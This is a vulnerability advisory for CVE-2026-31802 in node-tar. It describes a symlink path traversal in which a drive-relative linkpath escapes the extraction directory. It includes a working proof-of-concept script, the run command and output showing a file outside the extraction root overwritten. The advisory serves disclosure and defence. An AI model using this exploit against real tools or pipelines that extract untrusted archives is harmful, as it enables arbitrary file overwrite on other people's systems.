CVE-2026-31802: node-tar Symlink Path Traversal via Drive-Relative Linkpath

Summary tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt": 1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt. 2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted. 3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l. 4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

js const fs = require('fs') const path = require('path') const { Header, x } = require('tar')

const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) })

Run:

bash node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

text PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files